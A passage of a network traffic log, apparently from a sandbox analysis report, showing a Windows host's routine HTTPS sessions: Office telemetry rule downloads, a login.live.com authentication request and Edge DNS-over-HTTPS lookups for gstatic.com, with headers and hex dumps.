2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:41 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:41 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: e48d079a-201e-00aa-1709-373928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075541Z-16547b76f7ftfv4jhC1DFWuhug000000034g000000004uwv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:41 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.7	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:40 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:41 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:41 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 93dd010c-d01e-0014-6aab-36ed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075541Z-16547b76f7fd4rc5hC1DFWkzhw00000005w00000000027w3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:41 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.7	49845	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:41 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-18 07:55:41 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 07:55:42 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 07:54:42 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C531_SN1 x-ms-request-id: 90231348-3588-459f-9275-fb8d2f84927f PPServer: PPV: 30 H: SN1PEPF0002EFE8 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 07:55:41 GMT Connection: close Content-Length: 1276
2024-11-18 07:55:42 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.7	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:42 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c6213e4b-c01e-0014-58b2-37a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075542Z-164f84587bft9l9khC1DFW32rc00000005mg000000000r3f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 07:55:42 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.7	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: a94ee65e-c01e-007a-7daf-36b877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075542Z-16547b76f7fkf5v9hC1DFW2y5s000000059g00000000f3dz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:42 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.7	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075542Z-16547b76f7fpdsp9hC1DFW8f500000000360000000001dwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:42 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.7	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075542Z-16547b76f7f5b5tthC1DFWuk84000000045g000000004d6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:42 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.7	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 07:55:42 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T075542Z-1866b5c5fbbwlv6nhC1DFWw4bs000000041g000000001emm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 07:55:42 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.7	49867	172.64.41.3	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 07:55:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 07:55:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e466657ad8f2c94-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 07:55:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c6 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.7	49866	162.159.61.3	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 07:55:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 07:55:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e466657aa286b15-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 07:55:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 fd 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.7	49865	162.159.61.3	443	7100	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 07:55:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 07:55:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 07:55:42 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 07:55:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e466657ba5e2cbd-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 07:55:42 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 95 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
